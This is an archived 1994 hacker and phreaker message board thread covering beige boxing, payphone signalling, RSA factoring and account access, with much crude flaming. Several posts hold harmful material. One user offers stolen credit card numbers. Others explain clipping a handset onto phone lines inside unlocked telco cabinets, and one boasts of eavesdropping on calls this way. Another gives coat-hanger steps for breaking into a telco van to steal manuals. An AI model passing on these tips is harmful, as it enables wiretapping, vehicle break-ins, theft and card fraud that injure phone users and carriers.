Date: Fri Apr 29 22:19:42 1994
|
|
|
|
Are you serious?
|
|
That machine is just a 300 baud modem/computer which connects to the local
|
|
TYMENET or special store connection and confirms a password, transfers you
|
|
credit card information and processes a approval number or decline.
|
|
Its similar to the credit card hacker programs of the late 80s. You log
|
|
onto TYMENET and your computer goes through a algorithm of credit card
|
|
sequences and you get a authorization if it works.
|
|
|
|
My question to you : What the hell do you plan to do with working credit
|
|
card numbers except log on the pay services (ie. America On-Line,etc).
|
|
If you just want credit card numbers send me bitnet messages and I'll give
|
|
you some.
|
|
|
|
From Phain@yabbs Sat Apr 30 16:22:15 1994
|
|
From: Phain@yabbs
|
|
To: Roosevel@yabbs
|
|
Subject: re: credit verification
|
|
Date: Sat Apr 30 16:22:15 1994
|
|
|
|
I wasn't really planning anything. Just curious, that's all.
|
|
BTW, to all the Phreaks out there, Is beige-boxing still
|
|
possible? This may sound like an elementary question, but I
|
|
don't generaly find myself in the realm of the Phreak. I tried
|
|
to put one together the other day in accordance to some old
|
|
philes, but have had no sucess in it's usage.
|
|
Thanx,
|
|
Phain.
|
|
|
|
From Fastjack@yabbs Sat Apr 30 18:00:09 1994
|
|
From: Fastjack@yabbs
|
|
To: Phain@yabbs
|
|
Subject: Beige Boxing
|
|
Date: Sat Apr 30 18:00:09 1994
|
|
|
|
In message re: credit verification, Phain said:
|
|
> BTW, to all the Phreaks out there, Is beige-boxing still
|
|
> possible? This may sound like an elementary question, but I
|
|
It's just like a telephone lineman's box. Get a telephone with
|
|
integral keypad, then cut the wires and attach alligator clips, pref. the
|
|
insulated types.
|
|
> philes, but have had no sucess in it's usage.
|
|
Find a can or a telephone box in a an apartment building.
|
|
A lot more useful than most other pieces of equipment, IMHO.
|
|
|
|
:FJ
|
|
|
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|
|
From Dprogram@yabbs Sat Apr 30 23:08:26 1994
|
|
From: Dprogram@yabbs
|
|
To: Fastjack@yabbs
|
|
Subject: re: Beige Boxing
|
|
Date: Sat Apr 30 23:08:26 1994
|
|
|
|
A beige box is really just a telephone, any phone will do. Cut the phone
|
|
wire and put alligator clips on the red and green wires. To "beige box" is
|
|
to simply plug in somewhere. Look around for those little grey
|
|
cabinets. Generally a 7/16 inch nut driver will open them like a charm,
|
|
they are usually not locked. The main problem with beige boxing is it is
|
|
kinda obvious-looking.
|
|
|
|
|
|
From Ratail@yabbs Sun May 1 04:55:37 1994
|
|
From: Ratail@yabbs
|
|
To: all@yabbs
|
|
Subject: Wardialers
|
|
Date: Sun May 1 04:55:37 1994
|
|
|
|
Wardialers........grin
|
|
|
|
I've got voice and data finders what I want is a fax finder.
|
|
|
|
Anybody know of where to get one or have one? Point me/Up it and I'll
|
|
grab it.
|
|
|
|
You'd think with all the fax modem's out there someone would have
|
|
been thoughtful enough to post it publicly (via ftp). O-well so
|
|
much for the Public
|
|
|
|
|
|
From rattler@yabbs Sun May 1 12:37:06 1994
|
|
From: rattler@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: rsa
|
|
Date: Sun May 1 12:37:06 1994
|
|
|
|
we... when they factored rsa129 they didn't have a super connection
|
|
machine
|
|
to do it with.
|
|
|
|
i fugure 500 megabytes of ram and 64000 cpus oughta speed things up
|
|
a bit.
|
|
|
|
|
|
From rattler@yabbs Sun May 1 12:39:29 1994
|
|
From: rattler@yabbs
|
|
To: ButtrBoy@yabbs
|
|
Subject: re: rexd hole?
|
|
Date: Sun May 1 12:39:29 1994
|
|
|
|
rexd is like rsh , but it works with Suns (insecure) rpc.
|
|
ie. you can run proggies from where-ever as bin.
|
|
|
|
|
|
From Jeremiah@yabbs Sun May 1 15:08:32 1994
|
|
From: Jeremiah@yabbs
|
|
To: Phain@yabbs
|
|
Subject: Beigh boxing
|
|
Date: Sun May 1 15:08:32 1994
|
|
|
|
I still go out now and then... I pretty much do it for spying when I
|
|
have absolutely nothing to do... You'd be surprised what people talk
|
|
about when they think that no one is listening.
|
|
|
|
From cosmos@yabbs Sun May 1 15:15:52 1994
|
|
From: cosmos@yabbs
|
|
To: Phain@yabbs
|
|
Subject: re: credit verification
|
|
Date: Sun May 1 15:15:52 1994
|
|
|
|
|
|
Bwahahahah
|
|
|
|
Keep it up...I love a good laugh.
|
|
|
|
Gonna set up a few 3l33t |<-RaD cons??
|
|
|
|
Hehehh
|
|
|
|
Cosmos
|
|
|
|
From cosmos@yabbs Sun May 1 15:17:13 1994
|
|
From: cosmos@yabbs
|
|
To: Ratail@yabbs
|
|
Subject: re: Wardialers
|
|
Date: Sun May 1 15:17:13 1994
|
|
|
|
So much for intelligent, resourceful users.
|
|
|
|
*sigh*
|
|
|
|
Cosmos
|
|
|
|
From Kashmir@yabbs Sun May 1 15:53:45 1994
|
|
From: Kashmir@yabbs
|
|
To: Phain@yabbs
|
|
Subject: re: credit verification
|
|
Date: Sun May 1 15:53:45 1994
|
|
|
|
Beige boxing will almost always be possible..A beige box is a tool of a
|
|
linem so.. (The handset)
|
|
|
|
From Natalie@yabbs Sun May 1 22:50:03 1994
|
|
From: Natalie@yabbs
|
|
To: Jeremiah@yabbs
|
|
Subject: re: Beigh boxing
|
|
Date: Sun May 1 22:50:03 1994
|
|
|
|
AIEEEEE!!! You were listening to my phone conversations? *blush*
|
|
I may have to kill you now *giggle*
|
|
|
|
From sevmek@yabbs Mon May 2 14:43:08 1994
|
|
From: sevmek@yabbs
|
|
To: rattler@yabbs
|
|
Subject: re: rsa
|
|
Date: Mon May 2 14:43:08 1994
|
|
|
|
In message re: rsa, rattler said:
|
|
> we... when they factored rsa129 they didn't have a super connection
|
|
> machine
|
|
> to do it with.
|
|
>
|
|
> i fugure 500 megabytes of ram and 64000 cpus oughta speed things up
|
|
> a bit.
|
|
>
|
|
|
|
Yes, it might speed things up a bit. But not nearly as much as you may think.
|
|
The bottleneck becomes dealing with all the processors and what each should
|
|
be doing. Also, rsa129 was ONE two-prime composite. It happened to be the
|
|
one Scientific American chose to base their contest on. In just the 129
|
|
digit realm there are MANY others... let's say that one out of every trillion
|
|
numbers is a suitable prime. That leaves 10^117 choices for a 129 digit key.
|
|
Each of which would take all those little computers ANOTHER 8 months, or the
|
|
NSA perhaps several days.
|
|
|
|
I think the 'weak link' in RSA is how you handle the passwords in real life,
|
|
remember what they are, and where and how you handle the decoded information.
|
|
The number of processors you throw at a problem doesn't change the problem's
|
|
order of magnitude.
|
|
|
|
--Sevmek
|
|
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|
|
From feotus@yabbs Wed May 4 10:03:05 1994
|
|
From: feotus@yabbs
|
|
To: rattler@yabbs
|
|
Subject: re: rsa
|
|
Date: Wed May 4 10:03:05 1994
|
|
|
|
First off, they didnt do it on one machine, they just spread it out to a
|
|
bunch of different volounteer machines, which added up alot of proccessing
|
|
time.
|
|
|
|
Also it was a RSA129 key, now take however many bits are in that, and
|
|
subtract aht from 1024 and then take 2 to that power and that's how much
|
|
more difficult it is to break the 1024bit key than the RSA129.
|
|
|
|
for example, if you have a 400bit key, and you crack it, then you want to
|
|
try and crack the 1024bit key, you would have to expend 2^624 times more
|
|
power to do it. NOw that is a very large number, considering the number
|
|
of estimated moleculs in the universe is less than that.
|
|
|
|
So I say even with the NSAs computing power, which theyget to measure in
|
|
ACRES 8), it would take a long time to crack a 1024 bit key. Tho one of
|
|
the smaller PGP keys are suggested to be crackable in one year or so if
|
|
the NSA dedicated all of their processing time to it.
|
|
|
|
|
|
The thing is now, that it is so daunting to do that, they eitehr knock you
|
|
off real quiet like, or they get your passwd to your se3cret key. If it's
|
|
going to take them that long tim decrypt it, I'm sure they will justget
|
|
you out of the loop some other way.
|
|
|
|
From Fastjack@yabbs Thu May 5 19:08:21 1994
|
|
From: Fastjack@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Wardialers
|
|
Date: Thu May 5 19:08:21 1994
|
|
|
|
In message re: Wardialers, cosmos said:
|
|
> So much for intelligent, resourceful users.
|
|
|
|
And this is the 'Net. Imagine the local "scene". And I use the
|
|
term loosely....
|
|
|
|
:FJ
|
|
|
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|
|
From cosmos@yabbs Thu May 5 19:46:16 1994
|
|
From: cosmos@yabbs
|
|
To: Fastjack@yabbs
|
|
Subject: re: Wardialers
|
|
Date: Thu May 5 19:46:16 1994
|
|
|
|
Yeah, I know ;)
|
|
|
|
I recently got dragged to the last "2600" meeting. Okay, I admit I am a
|
|
2600 lamer...I mean, Ive gone to one other meet in the past year.
|
|
Anyways, I never spent a more enjoyable afternoon/evening.
|
|
|
|
IT was like comedy night at the local bars. See how many redbox questions
|
|
and tones we can make, ohh...look at the motorola cellular phone..., what
|
|
this??? A password file being passed around...wow, into the big stuff
|
|
now.
|
|
|
|
Call me crazy, but the last coroporate security meeting I attended was
|
|
better...maybe becuase they actually know what they are talking about??
|
|
(well, not all of them...but people like Farmer do. ;) )
|
|
|
|
Cosmos
|
|
|
|
From feotus@yabbs Fri May 6 17:40:35 1994
|
|
From: feotus@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Wardialers
|
|
Date: Fri May 6 17:40:35 1994
|
|
|
|
what's even worse than the 2600 meetings, are the pothetic litle twats
|
|
around these small towns that think they can hack.
|
|
|
|
I had one kid tell me he broke into the local airbases computer system and
|
|
messed with all kinds of records. I asked him id he used a divertor, and
|
|
he didnt even know what it was. I asked him what OS they were running and
|
|
he said it was a souped up version of DOS 8)
|
|
|
|
Another one was going around the bookstore with his littel Star Trek
|
|
fuckweed freinds and starts saying out loud so that me and my freind here
|
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him, "DOS sucks, yeah it just is too weak." and "QBASIC is really a
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powerful language once you learn it" and "Hey Bill, look a QBASIC Games
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book, man I know QBASIC already dood." So when he sees me and my freind
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fingering thru some Unix books he asks us how good of a langiuage Unix is.
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And he tells us that he hangs out on the internet all the time, even tho
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he doesnt know what Unix is 8) Then he asked me what OS I ran at home,
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when I told him linux he asked me if that was a weird version of Windows
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or something. my freind, the not-so-polite-one tells him to fuck off and
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go sticka joystick up his ass. bill the ST junkie gets pissed and walks
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away, All is well and we have a big bucket of french fries.
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From feotus@yabbs Fri May 6 17:43:01 1994
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From: feotus@yabbs
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To: all@yabbs
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Subject: out of band signalling
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Date: Fri May 6 17:43:01 1994
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Do any of the real phreakers out here have any info on what frequency the
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phone co will be using for out of band signalling. It seems that some
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local payphones have switched to it. They have to install new hardware on
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the payphone since it is a band that is out of the normal ~~4kHz channel
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that phonelines use.
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It wont be going thru the reciever so I assume you'll need to patch into
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the line director before it gets to the phone.
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From JasonLee@yabbs Fri May 6 19:16:24 1994
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From: JasonLee@yabbs
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To: feotus@yabbs
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Subject: re: Wardialers
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Date: Fri May 6 19:16:24 1994
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In message re: Wardialers, feotus said:
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> Another one was going around the bookstore with his littel Star Trek
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> fuckweed freinds and starts saying out loud so that me and my freind here
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Hey! Star Trek isn't that bad... :)
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JasonLee
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From Natalie@yabbs Fri May 6 20:55:47 1994
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From: Natalie@yabbs
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To: feotus@yabbs
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Subject: re: Wardialers
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Date: Fri May 6 20:55:47 1994
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what's wrong with star trek? My st keychain is a nice little weapon...got
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2 nice sharp poins on it....
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natalie
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From htoaster@yabbs Sat May 7 00:06:20 1994
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From: htoaster@yabbs
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To: feotus@yabbs
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Subject: re: out of band signalling
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Date: Sat May 7 00:06:20 1994
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In message out of band signalling, feotus said:
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> It wont be going thru the reciever so I assume you'll need to patch into
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> the line director before it gets to the phone.
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sorry, can't help you with the freqs. however this is true, you'll have to
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patch into the line directly. on most bell atlantic phones (or related baby
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bells around the country) they tend to keep their payphones pretty secure,
|
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making cable access a little tough. usually the cocots are a little easier
|
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to hit (there is one here that just has the phone wire running out the back
|
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and up the wall into the building its on, how insecure)... while i wouldn't
|
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reccomend vandalism (saving .25 by destroying stuff that others may use doesn't
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seem worth it somehow) cocots are definatly easier to hit...
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if you find out anything about the OOB signalling that they use an informative
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post would be cool though...i'm just interested to see what sorts of stuff
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they send out there...
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alex
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From Kamakize@yabbs Sat May 7 01:17:21 1994
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From: Kamakize@yabbs
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To: TheDev@yabbs
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Subject: re: red ...
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Date: Sat May 7 01:17:21 1994
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right ive had 100% success with operors with my box...
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ive done one internaionaly with good sucess with an 5.336 x-tal
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From Kamakize@yabbs Sat May 7 01:25:47 1994
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From: Kamakize@yabbs
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To: feotus@yabbs
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Subject: re: sum
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Date: Sat May 7 01:25:47 1994
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well i say imthe ONLY rue hacker from Delphi
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witth a legit account on Delphi....
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laterz
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From feotus@yabbs Sat May 7 11:39:19 1994
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From: feotus@yabbs
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To: Kamakize@yabbs
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Subject: re: sum
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Date: Sat May 7 11:39:19 1994
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"only real hacker on Delphi with legit account"
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your point is 8)
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why get a legit account from Delphi? If your going to get a legit one at
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least go thrua better service than that.
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From feotus@yabbs Sat May 7 11:52:33 1994
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From: feotus@yabbs
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To: all@yabbs
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Subject: Out Of Band signalling 101
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Date: Sat May 7 11:52:33 1994
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after digging thru my rusty trusty telecommunications bible..
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ht: well why would I worry about a COCOT with OOB, since all the charging
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etc.. takes place inside it and it's just another POTS line to it? But I
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can see where you mean acces to wires is easier, almost laways something
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exposed. On fortress phones it's difficult, unless you have a concrete
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cutter or something in your pocket.
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first inline band signalling - it is basically control signals from
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office to office INSIDE the voice bandwidth ~~ 300-3100Hz. These are like
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the 2600Hz signal for the now dead blueboxes, and the 2500Hz for RedBox
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tones.
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out of band- is when the line carries the normal voice bandwidth, and
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also a narrow signaling band, usually only at a single frequency. For
|
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insance the CCITT Signaling System no. R2 (CCITT is sorta like
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international standards) uses a signalling band of 3825Hz (+-4Hz) of rit's
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OUT of band signalling.
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most of you probably know that stuff already.
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in order to use out of band signalling tho, the telco has to install more
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electronics on both ends. Now at the local office, that's no problem, but
|
|
that means they need to add it to the payphone if their going to use it
|
|
between them and the office. So older ones are no problem usually, it's
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the newer ones they are installng, tho I have found that not all of them
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use it.
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the out of band control signlas are sent thru the voice channel, so ou can
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no longer put a tone generator to the receiver and have it go thru. You
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|
need to patch either into the electronics of he signaller itself, or into
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the wires. This is difficult on payhhones to say the least.
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I havent figured out waht frequency the telco's are using now for ot of
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badn signalling, as the telco around here isnt using it yet, so the
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I know who work there don't know yet.
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From cosmos@yabbs Sat May 7 14:41:04 1994
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From: cosmos@yabbs
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To: feotus@yabbs
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Subject: re: Wardialers
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Date: Sat May 7 14:41:04 1994
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heh, us big city folk have the same dweebs. Just more of them.
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Cosmos
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From cosmos@yabbs Sat May 7 14:43:08 1994
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From: cosmos@yabbs
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To: Kamakize@yabbs
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Subject: re: red ...
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Date: Sat May 7 14:43:08 1994
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Give it up already with those silly little redboxes. I just want to take
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them and shove them up all those 2600 shitheads asses. ;)
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Cosmos
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From cosmos@yabbs Sat May 7 14:43:45 1994
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From: cosmos@yabbs
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To: Kamakize@yabbs
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Subject: re: sum
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Date: Sat May 7 14:43:45 1994
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And your still a fuckwad.
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Cosmos
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From Fastjack@yabbs Sat May 7 21:44:38 1994
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From: Fastjack@yabbs
|
|
To: Kamakize@yabbs
|
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Subject: re: sum
|
|
Date: Sat May 7 21:44:38 1994
|
|
|
|
In message re: sum, Kamakize said:
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> well i say imthe ONLY rue hacker from Delphi
|
|
> witth a legit account on Delphi....
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>
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> laterz
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|
You have access through a service like _that_? God, I hope it's not
|
|
true what my unfortunate aquaintances say about their rates, disk quota, and
|
|
system....
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|
|
On a similar note, they sure do hype that little 'Five free hours on
|
|
the _INTERNET_' campaign, hmm? I'm sure millions of r3al Hackerz are
|
|
waiting for an MS-Windoze interface, eh?
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|
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hmm, l8trz.
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|
Fastjack
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From Fastjack@yabbs Sat May 7 21:47:07 1994
|
|
From: Fastjack@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: out of band signalling
|
|
Date: Sat May 7 21:47:07 1994
|
|
|
|
In message re: out of band signalling, htoaster said:
|
|
> patch into the line directly. on most bell atlantic phones (or related baby
|
|
> bells around the country) they tend to keep their payphones pretty secure,
|
|
> making cable access a little tough. usually the cocots are a little easier
|
|
> to hit (there is one here that just has the phone wire running out the back
|
|
> and up the wall into the building its on, how insecure)... while i wouldn't
|
|
> reccomend vandalism (saving .25 by destroying stuff that others may use doesn't
|
|
> seem worth it somehow) cocots are definatly easier to hit...
|
|
>
|
|
In my experience, the cocots have shitty physical security on the
|
|
lines. COCOTs in old buildings and dorms are especially vulnerable....
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|
:FJ
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From tknight@yabbs Sun May 8 11:47:52 1994
|
|
From: tknight@yabbs
|
|
To: all@yabbs
|
|
Subject: couple of things...
|
|
Date: Sun May 8 11:47:52 1994
|
|
|
|
First off, I need advice about getting into those wonderful telco vans.
|
|
They have a tendency to lock them around here, but i've been spotting one
|
|
particular van at my local CO out lately. It appears to be broken, but all
|
|
the stuff is still in it. I already have my very own Linesman handset, so
|
|
what i really want to do is get those manuals in that file cabinet thing
|
|
in the front seat. This particular van is the old style with those little
|
|
triangle windows on the front that tilt in. I cant pick locks and I cant
|
|
just shatter the glass because the CO is right next to an old folks home.
|
|
How effective is Duct tape to muffle the sound? Please post any efficient
|
|
ways to get into these vans.
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|
|
|
Second, Does anyone know anything abouit this upcoming switch from Cosmos
|
|
to Switch? I've been reading some internal memos about it that i have
|
|
gotten trashing but they mostly just told me about the conversion process.
|
|
|
|
Third, will it be possible to clip a phone onto fiber lines(I know i cant
|
|
use my handsset, fiber doesnt conduct), and if so, how?
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|
|
|
Last, some time this week i will be spending a day down at Southern Bell
|
|
hanging out with the System Administrators on their private PSN, right now
|
|
i'm just waiting for security clearance.
|
|
Tobias Knight
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From buzzbomb@yabbs Sun May 8 12:47:24 1994
|
|
From: buzzbomb@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: big city folk
|
|
Date: Sun May 8 12:47:24 1994
|
|
|
|
where are you from, Cosmos?
|
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|
|
From cosmos@yabbs Sun May 8 13:24:22 1994
|
|
From: cosmos@yabbs
|
|
To: buzzbomb@yabbs
|
|
Subject: re: big city folk
|
|
Date: Sun May 8 13:24:22 1994
|
|
|
|
Bright Lights, Big City.
|
|
|
|
And you?
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|
|
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|
|
Cosmos
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|
|
|
From Zbadba@yabbs Sun May 8 13:44:22 1994
|
|
From: Zbadba@yabbs
|
|
To: tknight@yabbs
|
|
Subject: re: couple of things...
|
|
Date: Sun May 8 13:44:22 1994
|
|
|
|
ok, on the van: forget breaking the glass, etc. get yourself a handy-dandy
|
|
coat hanger, straighten out the wire, and make one end into a small hook.
|
|
insert it into the stripping on the window above the lock mechanism, and
|
|
basically yank it around. (It's too hard to tell you exactly how, and it
|
|
shouldn't take you more than 2 minutes just by stumbling around).
|
|
|
|
you can tap fiber lines, yes ()with a fiber tap, duh). as to using a
|
|
handset w/ it, probably not, mainly because fiber lines are almost never
|
|
used as end lines; generally they are used only as trunks.
|
|
|
|
|
|
From feotus@yabbs Mon May 9 08:59:33 1994
|
|
From: feotus@yabbs
|
|
To: Zbadba@yabbs
|
|
Subject: re: couple of things...
|
|
Date: Mon May 9 08:59:33 1994
|
|
|
|
Well also fiber carries digital signals too, and also since there trunks
|
|
you have all the neat translating too do. Basically if you have the
|
|
equipment you can do it, but that's true for anything.
|
|
|
|
The thing is too wait for them to do the whole fiber to the homes thing,
|
|
which I think is not going to happen anytime really soon, too much money
|
|
to do it all. But IF it happens then the fun sarts with masive banwidth
|
|
to the home. long ways away at best tho.
|
|
|
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|
|
From Zbadba@yabbs Mon May 9 21:35:45 1994
|
|
From: Zbadba@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: couple of things...
|
|
Date: Mon May 9 21:35:45 1994
|
|
|
|
I don't long for the days of fiber in the home. For a few reasons:
|
|
First, the flood of true illiterates onto the nets. (let's face it, if you
|
|
can get online here, you're not totally illiterate) Second, the nets
|
|
become commercialized and for profit (i.e. the free ride is already over
|
|
for those not in academic institutions, and soon I fear that refuge will
|
|
be lost as usage fees/pay as you go tolls are instituted). If I start
|
|
having to pay for connect time at UWF, well, fuck it. I'll go back to
|
|
landline BBS's which are free local calls. sure there's not nearly the
|
|
diversity or breadth of services, but it's free.
|
|
|
|
Finally, I will miss the net and all it's intricacies. No, there's no
|
|
real-time video or such (well, for most of us). But I don't want some kind
|
|
of lubricated pipeline for that sort of stuff. the present day internet is
|
|
much like a river system... with oxbow lakes, large tributaries and tiny
|
|
creeks, backwaters, headwaters, rapids, damns and locks, eddies, and
|
|
whirlpools. It's a place you can get lost in if you don't know where you
|
|
are going. it's not all friendly and technicolor, but then neither is
|
|
"real life." No, I do not look forward to fiber optics as I see it now.
|
|
|
|
I don'twant the internet to become prodigy.
|
|
|
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|
|
From elwood@yabbs Mon May 9 22:59:12 1994
|
|
From: elwood@yabbs
|
|
To: Zbadba@yabbs
|
|
Subject: re: couple of things...
|
|
Date: Mon May 9 22:59:12 1994
|
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|
|
amen, brother!
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From GPF@yabbs Mon May 9 23:22:14 1994
|
|
From: GPF@yabbs
|
|
To: Zbadba@yabbs
|
|
Subject: re: couple of things...
|
|
Date: Mon May 9 23:22:14 1994
|
|
|
|
i really don't think that the internet ever COULD become prodigy....
|
|
there will always be a level of it that is geared for hackers.....
|
|
and besides... a flood of lamers means a lack of good sysadmins and easy
|
|
pickings ;)
|
|
|
|
++gpf
|
|
|
|
From Natalie@yabbs Mon May 9 23:57:54 1994
|
|
From: Natalie@yabbs
|
|
To: Zbadba@yabbs
|
|
Subject: re: couple of things...
|
|
Date: Mon May 9 23:57:54 1994
|
|
|
|
Well, I know that where I go to school (Western Michigan) there's a $100
|
|
limit/month on VAX. WE don't pay, but we only get $100 worth of time.
|
|
And they don't bother telling anyone about unlimited UNIX. And I'm afraid
|
|
they're going to put a limit on UNIX in the next few years, even tho not
|
|
as many people use it. And a friend of mine at U-Mich only get $25 worth
|
|
of UNIX/month. So it's already started...
|
|
|
|
natalie
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From ButtrBoy@yabbs Tue May 10 19:36:32 1994
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|
From: ButtrBoy@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: couple of things...
|
|
Date: Tue May 10 19:36:32 1994
|
|
|
|
Actually, Natalie, I go to umich and the only timesharing shit/accounting
|
|
is done for MT$, the academic mainframe. They charge you for the MT$
|
|
cpu time, but most people who use the UNIX servers don't go thru the
|
|
mainframe, unless they don't know any better. They aren't charging
|
|
anything for UNIX, not even diskspace (i got 30 megs, heh). but that's
|
|
a little different...
|
|
there's always x25...
|
|
|
|
From Roosevel@yabbs Tue May 10 19:57:46 1994
|
|
From: Roosevel@yabbs
|
|
To: Kamakize@yabbs
|
|
Subject: Delphi
|
|
Date: Tue May 10 19:57:46 1994
|
|
|
|
If you were a real hacker you wouldn't have a legit account on any system
|
|
especially network.
|
|
|
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|
From feotus@yabbs Tue May 10 20:08:12 1994
|
|
From: feotus@yabbs
|
|
To: Roosevel@yabbs
|
|
Subject: re: Delphi
|
|
Date: Tue May 10 20:08:12 1994
|
|
|
|
"if you were a real hacker yo wouldnt have a legit account on any system"
|
|
--------quote from Roosevel---^^^^^^^^^^^^^
|
|
|
|
|
|
that is a load of shit if I ever heard one. What about hackers that run
|
|
their own systems? It's legit? What about college students givena
|
|
account? Should they throw it away? Come on man.
|
|
|
|
|
|
From cosmos@yabbs Tue May 10 20:11:19 1994
|
|
From: cosmos@yabbs
|
|
To: Roosevel@yabbs
|
|
Subject: re: Delphi
|
|
Date: Tue May 10 20:11:19 1994
|
|
|
|
|
|
Fuck you punk. Who the hell do you think you are??? "If youre a real
|
|
hacker..." Yeah, you can come bite my crank. I consider myself a "real"
|
|
hacker and I have several legit accounts...granted not DELPHI.
|
|
|
|
One more time...piss off lamer.
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|
|
|
Cosmos
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|
|
From Natalie@yabbs Tue May 10 22:19:25 1994
|
|
From: Natalie@yabbs
|
|
To: ButtrBoy@yabbs
|
|
Subject: re: couple of things...
|
|
Date: Tue May 10 22:19:25 1994
|
|
|
|
eh...all I know is what my friend told me...next time i talk to him I'll
|
|
ask what he meant...
|
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|
|
From elwood@yabbs Wed May 11 18:08:26 1994
|
|
From: elwood@yabbs
|
|
To: all@yabbs
|
|
Subject: accounts
|
|
Date: Wed May 11 18:08:26 1994
|
|
|
|
Hey all! I was wondering if someone could get me an account somewhere
|
|
(hacked or otherwise) (in Maryland or otherwise). I am poor and I need
|
|
access to the system over the summer. I am not a hacker (yet), so I do
|
|
not know where to start. Please help me. Please give me info through
|
|
email here or at my email address at college. Thanks a bunch.
|
|
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|
elwood
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From cosmos@yabbs Wed May 11 19:21:40 1994
|
|
From: cosmos@yabbs
|
|
To: elwood@yabbs
|
|
Subject: re: accounts
|
|
Date: Wed May 11 19:21:40 1994
|
|
|
|
BWAHAHAAHAHAHAHA....fuck off lamer.
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|
|
|
"I am not a hacker(yet)"...and never will be.
|
|
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|
Cosmos
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|
From elwood@yabbs Wed May 11 20:17:27 1994
|
|
From: elwood@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: accounts
|
|
Date: Wed May 11 20:17:27 1994
|
|
|
|
*kiss*
|
|
love you too, dude.
|
|
|
|
Hey, here's a wrench. Go fix your attitude.
|
|
Here's a screwdriver. Go...
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|
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|
(you figure it out)
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|
|
|
loves and kisses
|
|
elwood
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From Choke@yabbs Fri May 20 19:23:34 1994
|
|
From: Choke@yabbs
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To: Roosevel@yabbs
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Subject: re: Delphi
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Date: Fri May 20 19:23:34 1994
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really? but how do they know that one is a hacker or not?
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curious. curious.
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From ButtrBoy@yabbs Fri May 20 22:57:13 1994
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From: ButtrBoy@yabbs
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To: elwood@yabbs
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Subject: home acct. in MD
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Date: Fri May 20 22:57:13 1994
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d00d,
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ain't no1 gonna give you an acct. just 4 the asking.
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there are a lot of public unix systems in the area, pretty
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cheap i think. since you got an account now, try to look
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for info on access providers, i think I saw a pretty
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decent list on some www server. just look around, really.
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and quit with the standard flamewar responses. sheesh.
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good luck.
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-=ButterBoy=-
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From Carsenio@yabbs Sun May 22 15:49:37 1994
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From: Carsenio@yabbs
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To: Roosevel@yabbs
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Subject: re: Delphi
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Date: Sun May 22 15:49:37 1994
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While I do agree that having a legit acct on delphi of all places is
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cheesy, i think you saying that real hackers don't have legit accounts is
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complete and utter bullshit. Most of the best hackers have at least one
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legit acct for e-mail/net purposes. Many, like me own there own unix
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machines. It is in fact very unwise to abuse and leech from a system like
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it's a 0-day warez board, using it to telnet to all your kewl bbs's and go
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on irc. Using hacked accounts in that manner constantly is lame. And if
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you're only purpose to hack is to maintain you're access to irc and net
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bbs's, you should rethink your motives. Granted you can't play with
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unix to its full extent when you have some normal leve; acct on a college
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or commercial system.. but that's why people run unix at home like me.
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Anyway.. what you expressed is what i consider to be a very kiddie-ish
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attitude and not very well supported or thought through..
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-carsenio
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From buzzbomb@yabbs Sun May 22 19:38:51 1994
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From: buzzbomb@yabbs
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To: cosmos@yabbs
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Subject: re: big city folk
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Date: Sun May 22 19:38:51 1994
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dim lights, small suburb.
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well not that small. just outta DC.
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From buzzbomb@yabbs Sun May 22 19:42:52 1994
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From: buzzbomb@yabbs
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To: elwood@yabbs
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Subject: re: accounts
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Date: Sun May 22 19:42:52 1994
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howdy - i'm in maryland, college park... is that where you're from?
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how do you get here if you don't have an account? or do you mean a
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second account to play with over the summer?
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From scudder@yabbs Mon May 23 20:07:36 1994
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From: scudder@yabbs
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To: all@yabbs
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Subject: LoCaLiTy...
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Date: Mon May 23 20:07:36 1994
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So....wher do you people dwell in reality? I am from Grove City, OH. It's
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a suburb of Columbus, and here in Central Ohio our H/P scene is just
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starting to build itself up...our main claim to fame sofar is the 2600
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meetings attended by a whole 5 people...<G>...right now we're trying to
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start a group and put out a 'zine...if anyone wants to submit a 'trib then
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post here with you E-mail address and I'll get some submissions guidelines
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out to you...AS SOON AS WE MAKE 'EM UP!!!! K-ya...
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-=Scudder=-
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1st annual member and
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Bob Dylan Wannabe of
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CiA Private...
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From cosmos@yabbs Tue May 24 02:04:09 1994
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From: cosmos@yabbs
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To: scudder@yabbs
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Subject: re: LoCaLiTy...
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Date: Tue May 24 02:04:09 1994
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In message LoCaLiTy..., scudder said:
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> So....wher do you people dwell in reality? I am from Grove City, OH. It's
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> a suburb of Columbus, and here in Central Ohio our H/P scene is just
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> starting to build itself up...our main claim to fame sofar is the 2600
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> meetings attended by a whole 5 people...<G>...right now we're trying to
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> start a group and put out a 'zine...if anyone wants to submit a 'trib then
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> post here with you E-mail address and I'll get some submissions guidelines
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> out to you...AS SOON AS WE MAKE 'EM UP!!!! K-ya...
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HAHAHAHAHA. Yes, I couldnt resist tearing this dumb fuck a new asshole.
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This is what things have come to. Ohio kiddies impressed by a 2600
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meeting which usually consists of wankers playing red box tones and the
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occasional cell phone...oh joyous day. This is the gene pool of
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tomorrows technical professionals??? God damn I am glad I was a kid in
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the eighties...they had a clue up until 88. Have fun kids.
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Cosmos
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From Natalie@yabbs Tue May 24 02:28:57 1994
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From: Natalie@yabbs
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To: cosmos@yabbs
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Subject: re: LoCaLiTy...
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Date: Tue May 24 02:28:57 1994
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hmmm...1988 was the year I stopped teaching myself how to
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program...could there be a correlation here? *insane giggling*
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natalie
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From scudder@yabbs Tue May 24 18:31:03 1994
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From: scudder@yabbs
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To: all@yabbs
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Subject: re: LoCaLiTy...
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Date: Tue May 24 18:31:03 1994
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Okay people, I came off sounding like WAY too much of a fucking moron in
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my initial post....we're beginners...we are not imbiciles...I was looking
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for someone to help us get a stable footing in the realms...hell, my main
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intentions are to weed out all of the Malicious shitheads, virus idiots,
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warez and codez D00DZ[sic] and leave the area open for the learners(myself
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included), programmers, and intellectualls...we are not a bunch of dumb
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fucks from Cowtown Ohio, the 2600 meeting was meant to unify all of those
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with similar interests, and as my post was intended to show..has failed
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miserable...
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From ButtrBoy@yabbs Tue May 24 19:46:54 1994
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From: ButtrBoy@yabbs
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To: all@yabbs
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Subject: re: LoCaLiTy...
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Date: Tue May 24 19:46:54 1994
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sheesh.
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From uufnord@yabbs Wed May 25 01:53:33 1994
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From: uufnord@yabbs
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To: all@yabbs
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Subject: re: LoCaLiTy...
